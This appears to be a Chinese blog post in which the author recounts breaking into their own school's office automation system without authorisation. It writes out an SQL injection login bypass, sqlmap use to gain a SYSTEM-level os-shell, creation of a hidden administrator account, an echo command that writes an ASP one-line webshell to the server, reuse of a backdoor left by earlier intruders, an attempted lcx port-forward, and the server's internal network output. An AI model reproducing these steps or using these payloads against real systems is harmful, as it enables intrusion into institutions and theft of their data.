PWN 学校 OA 系统:从 sql 注入到 getshell 到放弃
我们学校的教务系统用的是这样一个 CMS:
这里有 SQL 注入,直接输入'or 1=1--就可以进入
进去后是这样,有个公文列表;发布公文处可以上传附件;同时发现设置里面可以上传改图片:
经过尝试,设置里面的上传会自动重命名,不能传 shell;公文列表里面上传的附件会调用一个 download 程序下载,不知道真实路径没法直接访问;然后发现浏览公文的地方有 SQL 数字型注入:
在这里还获得疑似物理路径,留着备用
伴随 cookie,放到 sqlmap 里面,是 sa 权限,返回 os-shell。whoami发现是 system 权限。所以我先加了个叫 mssql2 的管理员用户备用
通过百度知道了解 cmd 下输出一句话需要转移,于是命令这样:
echo ^<^%eval request^(chr^(35^)^)^%^> >D:\人名\某某学校办公系统\BZOA\3.asp
结果输出后 shell 访问不到,于是用 dir 一个个去遍历目录,最后确定目录其实是E:\xxxx\BZOA\,不知道为什么和 mssql 显错的不一样。
用 asp 菜刀可以遍历全盘文件,但不管怎样上传大马都是失败,不知道是不是权限太小了。准备写入 aspx 一句话,发现在 tools1 目录下有前人留下的 aspx 后门
下载后门读出密码,访问进去
执行必要的命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:82 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 672
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 448
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1564
TCP 10.1.49.21:82 117.25.58.21:6580 CLOSE_WAIT 4
TCP 10.1.49.21:82 117.25.58.21:7710 ESTABLISHED 4
TCP 10.1.49.21:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING 1708
TCP 127.0.0.1:30606 0.0.0.0:0 LISTENING 908
UDP 0.0.0.0:445 *:* 4
UDP 10.1.49.21:137 *:* 4
UDP 10.1.49.21:138 *:* 4
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.1.49.21
Subnet Mask . . . . . . . . . . . : 255.255.255.128
Default Gateway . . . . . . . . . : 10.1.49.126
有开 3389,但是是内网。大概内网是很多台服务器却只有一个 IP 地址,就把这些服务器上面的端口映射到管理公网 IP 地址的那台服务器上吧。
用 aspx 上传 lcx 失败,改名上传还是失败,上传 asp 文件却可以。本来想用命令行+ftp 的方式远程下载 lcx,但是又发现前人在根目录留了一个 1lcx.exe于是就使用之。
不知道是不是机子太老了,运行任何 exe 程序都没效果,整个网站也无法访问了…
最后贴一下其他收集到的信息(顺便吐槽):
又发现前人的痕迹,想必已经千疮百孔了。。
根目录开发文档.txt直接告诉你 mssql 的连接信息(可惜在内网)